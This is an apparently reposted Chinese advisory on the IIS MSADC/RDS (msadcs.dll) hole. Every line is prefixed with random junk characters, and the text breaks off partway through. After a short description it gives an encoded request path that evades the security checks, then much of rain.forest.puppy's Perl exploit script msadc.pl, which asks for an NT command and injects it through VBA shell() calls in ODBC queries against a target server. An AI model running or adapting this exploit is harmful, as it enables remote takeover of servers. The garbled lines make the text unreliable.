IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
[i[*xf-B 8fV.NCyE 涉及程序:
o1Bn^w Microsoft NT server
=>?;Iv'Z j@N z 描述:
bjn: e!} 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
1D*oXE9Ig /_WAF90R? 详细:
$Hw
w 如果你没有时间读详细内容的话,就删除:
D-{;;<nIr` c:\Program Files\Common Files\System\Msadc\msadcs.dll
C%2BDj 有关的安全问题就没有了。
_?]0b7X ~lBb%M 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
6Zr_W#SE OQlmzg 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
l ga%U~ 关于利用ODBC远程漏洞的描述,请参看:
0 ge"ISK ` ,lm:x+(0 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm YmrrZ&]q KCBA`N8 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
L/ L#[ http://www.microsoft.com/security/bulletins/MS99-025faq.asp z7vc|Z|
\9HpbCHr 这里不再论述。
:G.u{cw @nC][gNv 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
oo+i3af&7 PK C}!>2 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
WqX$;'}h 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
UL{+mp 0+-"9pED>E M =/+q #将下面这段保存为txt文件,然后: "perl -x 文件名"
U yb -feG ,/fB~On- #!perl
QN4{xf:}S #
BlLK6"gJT # MSADC/RDS 'usage' (aka exploit) script
.uh>S!X, ] #
]%%I=r # by rain.forest.puppy
CP]nk0 #
-_*ux! # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
7
KuUV!\h` # beta test and find errors!
~FP4JM,y6 ]\~s83?X use Socket; use Getopt::Std;
u%t/W0xi getopts("e:vd:h:XR", \%args);
r\PO?1 ZVelKI8> print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
c)*,">$# ojc m%yd if (!defined $args{h} && !defined $args{R}) {
g~7x+cu0 print qq~
Arr(rM Usage: msadc.pl -h <host> { -d <delay> -X -v }
T!f+H?6 -h <host> = host you want to scan (ip or domain)
VyMFALSe]h -d <seconds> = delay between calls, default 1 second
xK*G'3Ge -X = dump Index Server path table, if available
{PGiNY%q -v = verbose
)r0XQa]@$ -e = external dictionary file for step 5
x/S:)z%X <r>1W~bp.q Or a -R will resume a command session
\CU-a`n C
vOH*K' ~; exit;}
>g>L>{ +#RgHo?f $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
U/#X,Bi~ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
wsKOafrV if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
7Dt*++: if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
o8B$6w:_ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
'bQjJRq! if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
67tB8X E%b*MU if (!defined $args{R}){ $ret = &has_msadc;
Y9}ga4 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
$~ >/_<~ 9#>t% IF~ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
;f!}vo<; . "cmd /c ";
(y^svXU}a $in=<STDIN>; chomp $in;
JBI> D1`" $command="cmd /c " . $in ;
^XgBkC~ ,I2x&Ys&. if (defined $args{R}) {&load; exit;}
"d; T1 Hk 0RT%PK print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
{3* Ne / &try_btcustmr;
8{-
*Q(=/ <WiyM[ep print "\nStep 2: Trying to make our own DSN...";
D7lRZb &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
b Y2:g ) ,k9xI<i print "\nStep 3: Trying known DSNs...";
J a7yq{j &known_dsn;
\Dx;AK s TFZxk print "\nStep 4: Trying known .mdbs...";
gWIb"l &known_mdb;
FyhLMW3 O<`N0 if (defined $args{e}){
5M&<tj/[a0 print "\nStep 5: Trying dictionary of DSN names...";
6no&2a|D &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
iw{rns BhzcimC) print "Sorry Charley...maybe next time?\n";
uj~(r=% exit;
~]Weyb[N Vr7L9%/wg ##############################################################################
I_s* pT Z]SUr`Z sub sendraw { # ripped and modded from whisker
m4on<5s/ sleep($delay); # it's a DoS on the server! At least on mine...
+zg3/C4 S my ($pstr)=@_;
="('
#o socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
GK`U<.[c die("Socket problems\n");
0K(&EpVE if(connect(S,pack "SnA4x8",2,80,$target)){
MP|$+yuR~ select(S); $|=1;
pf`vH`r print $pstr; my @in=<S>;
XS(Q)\" select(STDOUT); close(S);
Rn $TYCO return @in;
I]-"Tw } else { die("Can't connect...\n"); }}
Zs|m_O G (:>Sh0. ##############################################################################
B%I<6E[D #|QA_5 sub make_header { # make the HTTP request
j a'_syn my $msadc=<<EOT
<u}[_ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
E#~J"9k98 User-Agent: ACTIVEDATA
v05$"Ig Host: $ip
++!'6!l Content-Length: $clen
0i>>CvAl} Connection: Keep-Alive
V4ybrUWK or`D-x)+@ ADCClientVersion:01.06
V`4/oM` Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
sZ>0*S 6Qn};tbnD --!ADM!ROX!YOUR!WORLD!
nC}Y+_wo0 Content-Type: application/x-varg
G.:QA}FE' Content-Length: $reqlen
>x*ef]aS d$HPpi1LL EOT
ATF>"Ux ; $msadc=~s/\n/\r\n/g;
l@ 5kw]6 return $msadc;}
LO;6g~(1 >ra)4huZ ##############################################################################
gs(ZJO1 /L Aj*|r
sub make_req { # make the RDS request
GGU>={D) my ($switch, $p1, $p2)=@_;
f_z]kA
+H my $req=""; my $t1, $t2, $query, $dsn;
T2_b5j3i Y;{(?0
s if ($switch==1){ # this is the btcustmr.mdb query
Ce:w^P+ $query="Select * from Customers where City=" . make_shell();
$#-O^0D $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
gLwrYG7@ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
.wPI%5D &<EixDi4q elsif ($switch==2){ # this is general make table query
&&7&/
$query="create table AZZ (B int, C varchar(10))";
07G'"= $dsn="$p1";}
mq+x= {n{-5Y elsif ($switch==3){ # this is general exploit table query
TR9dpt+T $query="select * from AZZ where C=" . make_shell();
-VvN1G6.x? $dsn="$p1";}
!>:]k?$b g*;zVi elsif ($switch==4){ # attempt to hork file info from index server
q4SEvP}fLx $query="select path from scope()";
LaYd7Oyf] $dsn="Provider=MSIDXS;";}
^|(VI0KO ZKJhmk elsif ($switch==5){ # bad query
l\37/Z $query="select";
MxqIB(5k $dsn="$p1";}
y9~:[ jB ~Kt2g\BSok $t1= make_unicode($query);
9vBW CCf $t2= make_unicode($dsn);
GsoD^mjY $req = "\x02\x00\x03\x00";
V*W H $req.= "\x08\x00" . pack ("S1", length($t1));
4t 0p!IxG $req.= "\x00\x00" . $t1 ;
M9.FtQhK/ $req.= "\x08\x00" . pack ("S1", length($t2));
]VaMulb4 $req.= "\x00\x00" . $t2 ;
Uka(Vr: $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
j/F:j5O* return $req;}
sn8l3h) GC[Ot~*_ ##############################################################################
SM4'3d&mf fW$1f5g" sub make_shell { # this makes the shell() statement
p@eW*tE return "'|shell(\"$command\")|'";}
C,B{7s0- qG3MyK%O\ ##############################################################################
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